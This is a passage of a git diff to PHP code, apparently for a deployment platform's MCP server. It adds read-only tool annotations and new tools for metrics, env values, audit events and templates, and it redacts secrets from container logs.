a/app/Mcp/Tools/GetDatabaseImport.php b/app/Mcp/Tools/GetDatabaseImport.php new file mode 100644 index 0000000000..924974e339 --- /dev/null +++ b/app/Mcp/Tools/GetDatabaseImport.php @@ -0,0 +1,32 @@ + ['method' => 'GET', 'paths' => [ + 'database' => 'databases/{uuid}/imports/{activity_id}', + 'service_database' => 'services/{uuid}/databases/{database_uuid}/imports/{activity_id}', + ], 'ability' => 'read', 'description' => 'import status'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Database UUID (resource=database) or service UUID (resource=service_database).', + 'database_uuid' => 'Service database UUID (resource=service_database).', + 'activity_id' => 'Import ID returned by the import action.', + ]; + } +} diff --git a/app/Mcp/Tools/GetDeployment.php b/app/Mcp/Tools/GetDeployment.php index b07894462e..b056cb760b 100644 --- a/app/Mcp/Tools/GetDeployment.php +++ b/app/Mcp/Tools/GetDeployment.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetDeployment extends Tool { protected string $name = 'get_deployment'; diff --git a/app/Mcp/Tools/GetDestination.php b/app/Mcp/Tools/GetDestination.php index 5065f799a3..91f3973f80 100644 --- a/app/Mcp/Tools/GetDestination.php +++ b/app/Mcp/Tools/GetDestination.php @@ -10,7 +10,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetDestination extends Tool { protected string $name = 'get_destination'; diff --git a/app/Mcp/Tools/GetEnvValues.php b/app/Mcp/Tools/GetEnvValues.php new file mode 100644 index 0000000000..ba4271bf9d --- /dev/null +++ b/app/Mcp/Tools/GetEnvValues.php @@ -0,0 +1,36 @@ + ['method' => 'GET', 'paths' => [ + 'application' => 'applications/{uuid}/envs', + 'database' => 'databases/{uuid}/envs', + 'service' => 'services/{uuid}/envs', + 'team' => 'team/envs', + 'project' => 'projects/{uuid}/envs', + 'environment' => 'projects/{uuid}/environments/{environment_name_or_uuid}/envs', + 'server' => 'servers/{uuid}/envs', + ], 'ability' => 'read:sensitive', 'description' => 'variables with values'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Application, database, service, project, or server UUID. Not used for team.', + 'environment_name_or_uuid' => 'Environment name or UUID (resource environment).', + ]; + } +} diff --git a/app/Mcp/Tools/GetEnvironment.php b/app/Mcp/Tools/GetEnvironment.php index 4ae9073e84..d1110a2a95 100644 --- a/app/Mcp/Tools/GetEnvironment.php +++ b/app/Mcp/Tools/GetEnvironment.php @@ -10,7 +10,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetEnvironment extends Tool { protected string $name = 'get_environment'; diff --git a/app/Mcp/Tools/GetInfrastructureOverview.php b/app/Mcp/Tools/GetInfrastructureOverview.php index b897c57005..dea213425f 100644 --- a/app/Mcp/Tools/GetInfrastructureOverview.php +++ b/app/Mcp/Tools/GetInfrastructureOverview.php @@ -16,7 +16,9 @@ use Illuminate\Support\Collection; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetInfrastructureOverview extends Tool { protected string $name = 'get_infrastructure_overview'; diff --git a/app/Mcp/Tools/GetLogs.php b/app/Mcp/Tools/GetLogs.php index b90df64caf..8bc84fb22a 100644 --- a/app/Mcp/Tools/GetLogs.php +++ b/app/Mcp/Tools/GetLogs.php @@ -3,9 +3,11 @@ namespace App\Mcp\Tools; use App\Mcp\Concerns\BuildsResponse; +use App\Mcp\Concerns\ChecksTokenAbilities; use App\Mcp\Concerns\ResolvesResource; use App\Mcp\Concerns\ResolvesTeam; use App\Models\Application; +use App\Models\EnvironmentVariable; use App\Models\Service; use App\Models\ServiceApplication; use App\Models\ServiceDatabase; @@ -13,7 +15,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetLogs extends Tool { protected string $name = 'get_logs'; @@ -21,9 +25,15 @@ class GetLogs extends Tool protected string $description = 'Fetch recent container logs for an application, database, service, or service child. Requires read:sensitive ability. Output is best-effort redacted (not a guarantee). Multi-container services require resource=service_application|service_database. Requires a running container on a reachable server. On failure returns structured reason + next_tools (DB-only follow-ups). Default 100 lines, max 500.'; use BuildsResponse; + use ChecksTokenAbilities; use ResolvesResource; use ResolvesTeam; + public function shouldRegister(): bool + { + return $this->currentTokenCan('read:sensitive'); + } + public function handle(Request $request): Response { if ($error = $this->ensureAbility($request, 'read:sensitive', $this->name)) { @@ -65,14 +75,17 @@ class GetLogs extends Tool return $this->mcpSuccess($request, $this->respond($failure), ['resource_uuid' => $uuid, 'outcome' => 'unavailable']); } + $secrets = $this->logRedactionSecrets($resource); + try { $logs = $this->redactLogText( - $this->fetchLogs($resource, $resourceType, $lines, $showTimestamps) + $this->fetchLogs($resource, $resourceType, $lines, $showTimestamps), + $secrets, ); } catch (MultipleContainersException $e) { $payload = $this->failurePayload( reason: 'multiple_containers', - message: $e->getMessage(), + message: $this->redactLogText($e->getMessage(), $secrets), resourceType: $resourceType, uuid: $uuid, status: $resource->status ?? null, @@ -85,7 +98,7 @@ class GetLogs extends Tool return $this->mcpSuccess($request, $this->respond( $this->failurePayload( reason: 'log_fetch_failed', - message: $e->getMessage(), + message: $this->redactLogText($e->getMessage(), $secrets), resourceType: $resourceType, uuid: $uuid, status: $resource->status ?? null, @@ -104,6 +117,20 @@ class GetLogs extends Tool ]), ['resource_uuid' => $uuid]); } + /** + * Environment values and database credentials of the resource that owns the log output. + * + * @return array{known: array, locked: array} + */ + private function logRedactionSecrets(mixed $resource): array + { + if ($resource instanceof ServiceApplication || $resource instanceof ServiceDatabase) { + $resource = $resource->service; + } + + return EnvironmentVariable::logRedactionSecretsFor($resource); + } + /** * @return array|null */ diff --git a/app/Mcp/Tools/GetProject.php b/app/Mcp/Tools/GetProject.php index 8c967f8144..e875019348 100644 --- a/app/Mcp/Tools/GetProject.php +++ b/app/Mcp/Tools/GetProject.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetProject extends Tool { protected string $name = 'get_project'; diff --git a/app/Mcp/Tools/GetServer.php b/app/Mcp/Tools/GetServer.php index 771aa7d36e..9466f27d62 100644 --- a/app/Mcp/Tools/GetServer.php +++ b/app/Mcp/Tools/GetServer.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetServer extends Tool { protected string $name = 'get_server'; diff --git a/app/Mcp/Tools/GetServerDomains.php b/app/Mcp/Tools/GetServerDomains.php index 7780f59715..b103be84e6 100644 --- a/app/Mcp/Tools/GetServerDomains.php +++ b/app/Mcp/Tools/GetServerDomains.php @@ -13,7 +13,9 @@ use Illuminate\Support\Stringable; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetServerDomains extends Tool { protected string $name = 'get_server_domains'; @@ -62,11 +64,7 @@ class GetServerDomains extends Tool $domains = collect(); foreach ($applications as $application) { - $fqdn = str($application->fqdn)->explode(',')->map(function ($fqdn) { - $f = str($fqdn)->replace('http://', '')->replace('https://', '')->explode('/'); - - return str(str($f[0])->explode(':')[0]); - })->filter(fn (Stringable $f) => $f->isNotEmpty()); + $fqdn = str($application->fqdn)->explode(',')->map(fn ($fqdn) => self::domainHostWithoutPort((string) $fqdn))->filter(fn (Stringable $f) => $f->isNotEmpty()); if ($fqdn->isNotEmpty()) { $domains->push([ @@ -90,4 +88,17 @@ class GetServerDomains extends Tool 'uuid' => $schema->string()->description('Server UUID.')->required(), ]; } + + /** + * The host of a domain without the port: "[2a01:4f8::1]:8080" gives "[2a01:4f8::1]", "example.com:3000" gives "example.com". + */ + private static function domainHostWithoutPort(string $fqdn): Stringable + { + $authority = (string) str($fqdn)->replace('http://', '')->replace('https://', '')->explode('/')[0]; + if (str_starts_with($authority, '[') && str_contains($authority, ']')) { + return str(substr($authority, 0, strpos($authority, ']') + 1)); + } + + return str(str($authority)->explode(':')[0]); + } } diff --git a/app/Mcp/Tools/GetServerMetrics.php b/app/Mcp/Tools/GetServerMetrics.php new file mode 100644 index 0000000000..3b34a40bb7 --- /dev/null +++ b/app/Mcp/Tools/GetServerMetrics.php @@ -0,0 +1,136 @@ +ensureAbility($request, 'read', $this->name)) { + return $error; + } + + $teamId = $this->resolveTeamId($request); + if (is_null($teamId)) { + return $this->mcpError($request, 'Invalid token.'); + } + + $uuid = $request->get('server_uuid'); + if (! is_string($uuid) || $uuid === '') { + return $this->mcpError($request, 'server_uuid argument is required.'); + } + + $minutes = filter_var($request->get('minutes', self::DEFAULT_MINUTES), FILTER_VALIDATE_INT); + if ($minutes === false || $minutes < 1) { + return $this->mcpError($request, 'minutes must be a positive integer.'); + } + $minutes = min($minutes, self::MAX_MINUTES); + + $server = Server::whereTeamId($teamId)->where('uuid', $uuid)->with('settings')->first(); + if (! $server) { + return $this->mcpError($request, "Server [{$uuid}] not found.", ['resource_uuid' => $uuid]); + } + + if (! $server->isMetricsEnabled()) { + return $this->mcpError($request, 'Metrics are not enabled for this server. Enable Sentinel metrics in the server settings first.', ['resource_uuid' => $uuid]); + } + + /** @var SentinelMetricsClient $client */ + $client = app(SentinelMetricsClient::class, ['server' => $server]); + $range = match (true) { + $minutes <= 1440 => '24h', + $minutes <= 10080 => '7d', + default => '30d', + }; + $sinceMs = now()->subMinutes($minutes)->getTimestampMs(); + + $summary = $this->safely(fn () => $client->summary()); + $network = $this->safely(fn () => $client->networkHistory($range)) ?? ['rx' => [], 'tx' => []]; + + $series = [ + 'cpu_percent' => $this->recent($this->safely(fn () => $client->history('cpu', $range)), $sinceMs), + 'memory_used_bytes' => $this->recent($this->safely(fn () => $client->history('memory', $range)), $sinceMs), + 'disk_used_percent' => $this->recent($this->safely(fn () => $client->history('disk', $range)), $sinceMs), + 'load1' => $this->recent($this->safely(fn () => $client->history('load', $range)), $sinceMs), + 'network_rx_bytes_per_sec' => $this->recent($network['rx'] ?? [], $sinceMs), + 'network_tx_bytes_per_sec' => $this->recent($network['tx'] ?? [], $sinceMs), + ]; + + $data = [ + 'server_uuid' => $server->uuid, + 'server_name' => $server->name, + 'online' => $summary !== null, + 'minutes' => $minutes, + 'bucket_seconds' => intdiv(SentinelMetricsClient::bucketMs($range), 1000), + 'current' => $summary === null ? null : [ + 'cpu_percent' => $summary['cpu'] ?? null, + 'memory_used_bytes' => $summary['memUsed'] ?? null, + 'memory_total_bytes' => $summary['memTotal'] ?? null, + 'disk_used_bytes' => $summary['diskUsed'] ?? null, + 'disk_total_bytes' => $summary['diskTotal'] ?? null, + 'disk_used_percent' => $summary['diskPercent'] ?? null, + 'load1' => $summary['load1'] ?? null, + 'network_rx_bytes_per_sec' => $summary['netRx'] ?? null, + 'network_tx_bytes_per_sec' => $summary['netTx'] ?? null, + ], + 'series' => $series, + 'series_format' => '[timestamp_ms, value] pairs, averaged per bucket', + ]; + + return $this->mcpSuccess($request, $this->respond($data), ['resource_uuid' => $uuid, 'minutes' => $minutes]); + } + + public function schema(JsonSchema $schema): array + { + return [ + 'server_uuid' => $schema->string()->description('Server UUID.')->required(), + 'minutes' => $schema->integer()->description('How many minutes of history to return (default 60, max 43200 = 30 days).'), + ]; + } + + /** + * @template T + * + * @param callable(): T $callback + * @return T|null + */ + private function safely(callable $callback): mixed + { + try { + return $callback(); + } catch (\Throwable) { + return null; + } + } + + /** + * @param array|null $points + * @return array + */ + private function recent(?array $points, int $sinceMs): array + { + return array_values(array_filter($points ?? [], fn ($point): bool => is_array($point) && (int) ($point[0] ?? 0) >= $sinceMs)); + } +} diff --git a/app/Mcp/Tools/GetServerResources.php b/app/Mcp/Tools/GetServerResources.php index d796e9315a..ee614938fb 100644 --- a/app/Mcp/Tools/GetServerResources.php +++ b/app/Mcp/Tools/GetServerResources.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetServerResources extends Tool { protected string $name = 'get_server_resources'; diff --git a/app/Mcp/Tools/GetService.php b/app/Mcp/Tools/GetService.php index ad14ddb497..ba5725e902 100644 --- a/app/Mcp/Tools/GetService.php +++ b/app/Mcp/Tools/GetService.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetService extends Tool { protected string $name = 'get_service'; diff --git a/app/Mcp/Tools/GetServiceApplication.php b/app/Mcp/Tools/GetServiceApplication.php index 0d86d03159..b357170dbc 100644 --- a/app/Mcp/Tools/GetServiceApplication.php +++ b/app/Mcp/Tools/GetServiceApplication.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetServiceApplication extends Tool { protected string $name = 'get_service_application'; diff --git a/app/Mcp/Tools/GetServiceDatabase.php b/app/Mcp/Tools/GetServiceDatabase.php index fa3da38634..4eed5c7763 100644 --- a/app/Mcp/Tools/GetServiceDatabase.php +++ b/app/Mcp/Tools/GetServiceDatabase.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class GetServiceDatabase extends Tool { protected string $name = 'get_service_database'; diff --git a/app/Mcp/Tools/ListApplicationPreviews.php b/app/Mcp/Tools/ListApplicationPreviews.php index 8a4e7fc21b..af8bbc064c 100644 --- a/app/Mcp/Tools/ListApplicationPreviews.php +++ b/app/Mcp/Tools/ListApplicationPreviews.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListApplicationPreviews extends Tool { protected string $name = 'list_application_previews'; diff --git a/app/Mcp/Tools/ListApplications.php b/app/Mcp/Tools/ListApplications.php index 3bab877ebc..2191f289e3 100644 --- a/app/Mcp/Tools/ListApplications.php +++ b/app/Mcp/Tools/ListApplications.php @@ -14,7 +14,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListApplications extends Tool { protected string $name = 'list_applications'; diff --git a/app/Mcp/Tools/ListAuditEvents.php b/app/Mcp/Tools/ListAuditEvents.php new file mode 100644 index 0000000000..9fad17d30c --- /dev/null +++ b/app/Mcp/Tools/ListAuditEvents.php @@ -0,0 +1,30 @@ + ['method' => 'GET', 'path' => 'audit-events', 'ability' => 'read', 'description' => 'audit events (data: per_page max 100, page, search, action, source all|ui|api|mcp|webhook|system|scheduler)'], + ]; + } + + protected function pathParams(): array + { + return []; + } + + protected function dataDescription(): string + { + return 'Query filters, same as the REST API: per_page, page, search, action, source.'; + } +} diff --git a/app/Mcp/Tools/ListBackupExecutions.php b/app/Mcp/Tools/ListBackupExecutions.php index b1880babad..5673966b32 100644 --- a/app/Mcp/Tools/ListBackupExecutions.php +++ b/app/Mcp/Tools/ListBackupExecutions.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListBackupExecutions extends Tool { protected string $name = 'list_backup_executions'; diff --git a/app/Mcp/Tools/ListDatabaseBackups.php b/app/Mcp/Tools/ListDatabaseBackups.php index 7c65130935..8e36faf9d6 100644 --- a/app/Mcp/Tools/ListDatabaseBackups.php +++ b/app/Mcp/Tools/ListDatabaseBackups.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListDatabaseBackups extends Tool { protected string $name = 'list_database_backups'; @@ -43,6 +45,7 @@ class ListDatabaseBackups extends Tool $backups = ScheduledDatabaseBackup::ownedByCurrentTeamAPI($teamId) ->where('database_id', $database->id) ->where('database_type', $database->getMorphClass()) + ->with(['s3', 's3Storages']) ->get() ->map(fn ($backup) => $this->scrubSensitive([ 'uuid' => $backup->uuid, @@ -51,6 +54,7 @@ class ListDatabaseBackups extends Tool 'database_backup_retention_amount_locally' => $backup->database_backup_retention_amount_locally ?? null, 'save_s3' => $backup->save_s3 ?? null, 's3_storage_uuid' => $backup->s3?->uuid ?? null, + 's3_storage_uuids' => $backup->selectedS3Storages()->pluck('uuid')->all(), 'created_at' => $backup->created_at, 'updated_at' => $backup->updated_at, ])) diff --git a/app/Mcp/Tools/ListDatabases.php b/app/Mcp/Tools/ListDatabases.php index c05efd81eb..e24af38fc9 100644 --- a/app/Mcp/Tools/ListDatabases.php +++ b/app/Mcp/Tools/ListDatabases.php @@ -16,7 +16,9 @@ use Illuminate\Support\Facades\DB; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListDatabases extends Tool { protected string $name = 'list_databases'; diff --git a/app/Mcp/Tools/ListDeployments.php b/app/Mcp/Tools/ListDeployments.php index 8af839a58b..e958cc0c32 100644 --- a/app/Mcp/Tools/ListDeployments.php +++ b/app/Mcp/Tools/ListDeployments.php @@ -10,7 +10,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListDeployments extends Tool { protected string $name = 'list_deployments'; diff --git a/app/Mcp/Tools/ListDestinations.php b/app/Mcp/Tools/ListDestinations.php index dc98020de7..5ccf959d14 100644 --- a/app/Mcp/Tools/ListDestinations.php +++ b/app/Mcp/Tools/ListDestinations.php @@ -11,7 +11,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListDestinations extends Tool { protected string $name = 'list_destinations'; diff --git a/app/Mcp/Tools/ListEnvKeys.php b/app/Mcp/Tools/ListEnvKeys.php index 98fe4281dc..331060c555 100644 --- a/app/Mcp/Tools/ListEnvKeys.php +++ b/app/Mcp/Tools/ListEnvKeys.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListEnvKeys extends Tool { protected string $name = 'list_env_keys'; diff --git a/app/Mcp/Tools/ListGithubApps.php b/app/Mcp/Tools/ListGithubApps.php index 0283bbc0dc..f3048f0140 100644 --- a/app/Mcp/Tools/ListGithubApps.php +++ b/app/Mcp/Tools/ListGithubApps.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListGithubApps extends Tool { protected string $name = 'list_github_apps'; diff --git a/app/Mcp/Tools/ListGithubBranches.php b/app/Mcp/Tools/ListGithubBranches.php index 7954cecfa9..849c401051 100644 --- a/app/Mcp/Tools/ListGithubBranches.php +++ b/app/Mcp/Tools/ListGithubBranches.php @@ -10,7 +10,11 @@ use Illuminate\Support\Facades\Http; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsOpenWorld; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] +#[IsOpenWorld] class ListGithubBranches extends Tool { protected string $name = 'list_github_branches'; diff --git a/app/Mcp/Tools/ListGithubRepositories.php b/app/Mcp/Tools/ListGithubRepositories.php index 7c639f509f..59c5ef273e 100644 --- a/app/Mcp/Tools/ListGithubRepositories.php +++ b/app/Mcp/Tools/ListGithubRepositories.php @@ -10,7 +10,11 @@ use Illuminate\Support\Facades\Http; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsOpenWorld; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] +#[IsOpenWorld] class ListGithubRepositories extends Tool { protected string $name = 'list_github_repositories'; diff --git a/app/Mcp/Tools/ListProjects.php b/app/Mcp/Tools/ListProjects.php index 0a6de7f608..e9b363c709 100644 --- a/app/Mcp/Tools/ListProjects.php +++ b/app/Mcp/Tools/ListProjects.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListProjects extends Tool { protected string $name = 'list_projects'; diff --git a/app/Mcp/Tools/ListResourceTags.php b/app/Mcp/Tools/ListResourceTags.php index 523a524177..481a373e4c 100644 --- a/app/Mcp/Tools/ListResourceTags.php +++ b/app/Mcp/Tools/ListResourceTags.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListResourceTags extends Tool { protected string $name = 'list_resource_tags'; diff --git a/app/Mcp/Tools/ListResources.php b/app/Mcp/Tools/ListResources.php index f6cde3e125..c3f23e3ab1 100644 --- a/app/Mcp/Tools/ListResources.php +++ b/app/Mcp/Tools/ListResources.php @@ -15,7 +15,9 @@ use Illuminate\Support\Facades\DB; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListResources extends Tool { protected string $name = 'list_resources'; diff --git a/app/Mcp/Tools/ListRollbackImages.php b/app/Mcp/Tools/ListRollbackImages.php new file mode 100644 index 0000000000..a77890344d --- /dev/null +++ b/app/Mcp/Tools/ListRollbackImages.php @@ -0,0 +1,27 @@ + ['method' => 'GET', 'path' => 'applications/{uuid}/rollback-images', 'ability' => 'read', 'description' => 'list rollback images and the current tag'], + ]; + } + + protected function pathParams(): array + { + return [ + 'uuid' => 'Application UUID.', + ]; + } +} diff --git a/app/Mcp/Tools/ListScheduledTaskExecutions.php b/app/Mcp/Tools/ListScheduledTaskExecutions.php index d88636f8fb..8f4ad75b93 100644 --- a/app/Mcp/Tools/ListScheduledTaskExecutions.php +++ b/app/Mcp/Tools/ListScheduledTaskExecutions.php @@ -10,7 +10,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListScheduledTaskExecutions extends Tool { protected string $name = 'list_scheduled_task_executions'; diff --git a/app/Mcp/Tools/ListScheduledTasks.php b/app/Mcp/Tools/ListScheduledTasks.php index cdefe73137..4062d47d21 100644 --- a/app/Mcp/Tools/ListScheduledTasks.php +++ b/app/Mcp/Tools/ListScheduledTasks.php @@ -10,7 +10,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListScheduledTasks extends Tool { protected string $name = 'list_scheduled_tasks'; diff --git a/app/Mcp/Tools/ListServers.php b/app/Mcp/Tools/ListServers.php index 98846b33f6..6fc38962e8 100644 --- a/app/Mcp/Tools/ListServers.php +++ b/app/Mcp/Tools/ListServers.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListServers extends Tool { protected string $name = 'list_servers'; diff --git a/app/Mcp/Tools/ListServiceApplications.php b/app/Mcp/Tools/ListServiceApplications.php index bfe16cdea6..15c1d8b4da 100644 --- a/app/Mcp/Tools/ListServiceApplications.php +++ b/app/Mcp/Tools/ListServiceApplications.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListServiceApplications extends Tool { protected string $name = 'list_service_applications'; diff --git a/app/Mcp/Tools/ListServiceDatabases.php b/app/Mcp/Tools/ListServiceDatabases.php index 1a90ca866e..1d6dd165f7 100644 --- a/app/Mcp/Tools/ListServiceDatabases.php +++ b/app/Mcp/Tools/ListServiceDatabases.php @@ -9,7 +9,9 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListServiceDatabases extends Tool { protected string $name = 'list_service_databases'; diff --git a/app/Mcp/Tools/ListServiceTemplates.php b/app/Mcp/Tools/ListServiceTemplates.php new file mode 100644 index 0000000000..f52623f70d --- /dev/null +++ b/app/Mcp/Tools/ListServiceTemplates.php @@ -0,0 +1,72 @@ +ensureAbility($request, 'read', $this->name)) { + return $error; + } + + if (is_null($this->resolveTeamId($request))) { + return $this->mcpError($request, 'Invalid token.'); + } + + $search = $request->get('search'); + $search = is_string($search) ? mb_strtolower(trim($search)) : ''; + + $templates = get_service_templates() + ->map(fn ($template, $type): array => [ + 'type' => (string) $type, + 'slogan' => is_string(data_get($template, 'slogan')) ? data_get($template, 'slogan') : null, + 'category' => is_string(data_get($template, 'category')) ? data_get($template, 'category') : null, + 'tags' => collect(data_get($template, 'tags', []))->filter(fn ($tag): bool => is_string($tag))->values()->all(), + 'documentation' => is_string(data_get($template, 'documentation')) ? data_get($template, 'documentation') : null, + 'port' => is_scalar(data_get($template, 'port')) ? (string) data_get($template, 'port') : null, + ]) + ->when($search !== '', fn ($collection) => $collection->filter(function (array $template) use ($search): bool { + $haystack = mb_strtolower(implode(' ', [$template['type'], $template['slogan'] ?? '', $template['category'] ?? '', implode(' ', $template['tags'])])); + + return str_contains($haystack, $search); + })) + ->sortKeys() + ->values(); + + $args = $this->paginationArgs($request); + $total = $templates->count(); + $extraArgs = $search !== '' ? ['search' => $search] : []; + + return $this->mcpSuccess($request, $this->respond( + $templates->slice($args['offset'], $args['per_page'])->values()->all(), + [], + $this->paginationMeta($this->name, $args, $total, $extraArgs), + )); + } + + public function schema(JsonSchema $schema): array + { + return [ + 'search' => $schema->string()->description('Case-insensitive text to match in the template name, slogan, category, or tags.'), + 'page' => $schema->integer()->description('Page number (default 1).'), + 'per_page' => $schema->integer()->description('Items per page (default 50, max 100).'), + ]; + } +} diff --git a/app/Mcp/Tools/ListServices.php b/app/Mcp/Tools/ListServices.php index e3a268cd29..2e9bb4d1b7 100644 --- a/app/Mcp/Tools/ListServices.php +++ b/app/Mcp/Tools/ListServices.php @@ -16,7 +16,9 @@ use Illuminate\Support\Collection; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly] class ListServices extends Tool { protected string $name = 'list_services'; diff --git a/app/Mcp/Tools/ListSharedEnvKeys.php b/app/Mcp/Tools/ListSharedEnvKeys.php index cfd64435f5..beb8f7abc4 100644 --- a/app/Mcp/Tools/ListSharedEnvKeys.php +++ 